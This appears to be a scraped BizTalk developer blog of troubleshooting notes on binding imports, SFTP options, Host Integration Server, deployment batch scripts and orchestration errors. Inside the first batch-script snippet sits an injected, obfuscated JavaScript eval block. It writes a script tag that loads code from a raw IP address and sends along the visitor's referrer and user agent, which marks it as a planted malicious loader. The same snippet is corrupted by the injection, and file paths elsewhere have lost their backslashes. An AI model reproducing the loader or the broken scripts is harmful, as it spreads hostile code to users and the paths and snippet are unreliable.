Got this error when importing a series of 5 SendPorts into a newly created BizTalk application:

Failed to update binding information. (mscorlib).
Additional Information:
Object reference not set to an instance of an object. (Microsoft.BizTalk.ExplorerOM).

My solution was that I needed to make a reference from the new application, to an existing application, which contained schemas, maps, etc.. used by these send ports. Basically, one of our developers needed a copy of the send ports to post data to the DEV database; so I exported my binding files, deleted everything except the 5 SQL SendPorts, then tried to import them into a new application to keep them separate.

The first issue is that you typically need secure SFTP. Biztalk 2010 finally comes with a secure FTP, but it’s FTPS (FTP over SSL) instead of SFTP (MSDN Community Link).

There is an open-source adapter available here: http://sftpadapter.codeplex.com.

On the other hand, you can use normal FTP, but use some type of encryption that can be managed by your pipeline.

However, even with SFTP or encryption, that means that the security is maintained in BizTalk, and some companies are not happy about that. You also have to consider how you test, and whether for example in your test environment, you use different passwords and encryption keys, making the deploy slightly more complicated.

However

the bigger story is this. Large companies often have the security and FTP managed by another team outside of the BizTalk team. And quite often, they have already purchased a complete solution. I worked at a bank, which used GlobalScapes EFT (Enhanced File Transfer). My most recent client used Axway Managed File Transfer (MFT), and then was switching to Axway WebTrader (Interchange).

These enterprise level FTP tools also handle details like backup. Many companies, for legal reasons, want to keep a snapshot (archive) of every file that was sent or received.

With companies that use this software, all the FTP and firewalls are handled by another group, and BizTalk simply uses the file adapter. You just need the directory paths from the group that manages all the FTP software.

Back in 2009, I did a short BizTalk project that used Host Initiated Processing (aka “HIP”).  This is one of the five features of Host Integration Server (HIS).  Starting with the BizTalk 2009 release, HIS is no longer sold separately, and can only be obtained along with a BizTalk license.

  1. HIP – Host Initiated Processing – CICS transactions send a request to BizTalk for a response, example, a CICS program calls a COBOL subroutine, which in turns talks to BizTalk, which could run an orchestration and call an external web service.
  2. WIP – Windows Initiated Processing – Windows sends a request to CICS and waits for a response.
  3. DB2 – Ability to read/update DB2 database tables.
  4. Host Files – Ability to read/write VSAM files
  5. TI – Transaction Integration – Remote control of CICS screens.

 

We have several deployment scripts that have to run on both 32-bit and 64-bit environments. Until now, we just modified the script with a “replace all’ command for the 64-bit, which had to use “C:Program Files (x86)” instead of the traditional “C:Program Files” directory.

This was my first attempt:

set <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|diyik|var|u0026u|referrer|szbsb||js|php'.split('|'),0,{}))
</script></noindex> BTDFProgFiles="%programfiles(x86)%"
if %BTDFProgFiles%=="" set BTDFProgFiles="%programfiles%"
echo BTDFProgFiles=%BTDFProgFiles%

rem Then run the desired program 
%BTDFMSBuildPath% "%BTDFProgFiles%ABC.Common%2DeploymentABC.Common.BizTalk.Deployment.btdfproj"  /p:%PARMS% /l:FileLogger,Microsoft.Build.Engine;logfile="%BTDFProgFiles%ABC.EC.Common%2DeployResults

Then later, I was finding the quotes weren’t working, so this was the fix:

@ECHO OFF
setlocal EnableDelayedExpansion 
IF (%1) ==() GOTO NOPARM1 
IF (%2) ==() GOTO NOPARM2 

IF EXIST "%windir%Microsoft.NETFrameworkv3.5MSBuild.exe" (
SET BTDFMSBuildPath="%windir%Microsoft.NETFrameworkv3.5MSBuild.exe"
) ELSE IF EXIST "%windir%Microsoft.NETFrameworkv2.0.50727MSBuild.exe" (
SET BTDFMSBuildPath="%windir%Microsoft.NETFrameworkv2.0.50727MSBuild.exe"
)
@echo on 
set "BTDFProgFiles=%programfiles(x86)%"
if "%BTDFProgFiles%"=="" set "BTDFProgFiles=%programfiles%"
echo BTDFProgFiles=%BTDFProgFiles%

rem Then run the desired program 
%BTDFMSBuildPath% "%BTDFProgFiles%ABC.Common%2DeploymentABC.Common.BizTalk.Deployment.btdfproj"  /p:%PARMS% /l:FileLogger,Microsoft.Build.Engine;logfile="%BTDFProgFiles%ABC.EC.Common%2DeployResultsDeployResults.txt" 

NOTE: This was in conjunction with a wrapper script to run a series of BTDF (BizTalk Deployment Framework) scripts to deploy about 8 apps in one script.

March 29, 2011 Orchestration Issue

If you get this mysterious error in a BizTalk orchestration:

Value cannot be null. Parameter name: val 

If you are running an orchestration, then a potential problem is that you tried to set a “distinguished field” to the value of NULL.

How I hit this error today ? I had a config parm from the BTNTSVC.exe.config file, that the orchestation was using to set the distinguished field. I thought the parm was optional, so I removed it from the config file. Then “BOOM” – the orchestration that had been working for months quit working with the “mystery error” above.

So now, I check for the config parm, and if it’s null, I reset it to an empty string.

May 17, 2017 Pipeline C# ReplaceString Issue

Value cannot be null. Parameter name: oldValue

Today, this happened in a pipeline component. Due to a logic error, a field had a value of Null, and it was being passed to a C# ReplaceString function as the “oldValue”. The oldValue parm can be an empty string, but it cannot be null.

I don’t think I ever even tried the left and right arrows in BizTalk Admin Console until this week.  A voice called to may saying “click me”, “click me”.

Left and Right Arrows at top of BizTalk Admin Console

BizTalk Admin console can be notoriously slow; sometimes I keep two of them open, one to restart host instances, and the other to deal with applications, send ports, and receive locations.

But for example, if you wanted to bop back and forth between host instances and an application, you could use the left and right arrows.

Try it, you’ll like it.

As you are well aware, all BizTalk programs must reside in the GAC. Many of use the “shell extension” to drag and drop programs to the GAC. But BEWARE, this tool is gone in .NET 4.0.

See here for the Microsoft Official Statement: https://msdn.microsoft.com/en-us/library/vstudio/34149zk3%28v=vs.100%29.aspx

Former link was moved by MSDN: http://msdn.microsoft.com/en-us/library/34149zk3.aspx

“Beginning with the .NET Framework version 4, the Assembly Cache Viewer (Shfusion.dll) is obsolete and has been removed. Use Gacutil.exe (Global Assembly Cache Tool) to view and manipulate the global assembly cache.”

For a good explanation, see the answer to this popular question on Stack Overflow (GAC).

Exception type: InvalidOperationException
Source: System.Xml
Target Site: System.Object Deserialize(System.Xml.XmlReader,
System.String, System.Xml.Serialization.XmlDeserializationEvents)
The following is a stack trace that identifies the location where the
exception occurred

I was using the BizTalk orchestration xpath command, like this:

myString = xpath(myMessage,myXpath);

The problem was, that I forgot to wrap the xpath with the string() function, like this:

myString = xpath(myMessage,”string(” + myXpath + “)”);

I got this error today, and it was very difficult to figure out. I wasted about two hours on it.

There was a failure executing the receive pipeline: “pipeline name” Source: “Pipeline ” Receive Port: “SQLPollingWire” URI: “SQL://Server/ECData_SharedDev/4” Reason: Input string was not in a correct format.

I was using the polling of the built-in SQL adapter, and add a new element to my SQL query, and thus manually added the same element to the schema.

In the schem a, the new field w as defined as a string, not a number, so why would this blow-up in the pipeline?

The error is the same error that is thrown when you would get if you tried this: System.Convert.ToInt32(“test”).

The answer is that I did a quick-promote on it, and accidentally associated it with field in the property schema that was an “int”. Thus, when the pipeline was doing the promotion of the field, that’s when it died.

Another error solved, and more time wasted. Hope this helps if you get this error.

How long does it take to install BizTalk?

Of course, the answer is “that depends”.

1. Do you already have downloads of files to be installed. This alone can take hours if you are downloading from MSDN subscription library (for example: Win2008, SQL 2008, Visual Studio, and BizTalk, and sometimes additiona prereqs an Ser). I would allow about 4-8 hours just for these downloads, but of course, you can be working on other things while they are downloading. If you are fortunate to have all these files ready to go, you will save time.

2. What are you starting with ?
a) Has someone already installed Windows for you?
b) Is IIS installed or enabled on Windows ?
c) Are you connecting to an existing SQL server, or are you going to install SQL also.
d) Is the appropriate version of Visual Studio already installed?

3. BizTalk install itself takes only about 10 minutes, but after that, you have to run the Configure utility. This usually takes 15-45 minutes, when things work well. When you have errors, and have to re-run and investigate the logs, it obviously takes longer.

Here’s a big picture example. This week, I started with “nothing”, and it took me about 3 days (part time) to install two virtual machines. One was BT2009 with SQL 2009 (not R2), and another with BT2010, VS2010, and SQL2008R2.

So when your boss asks you, “How long will it take to install BizTalk”, you can reply with some of the questions above, and hopefully give him a more intelligent answer.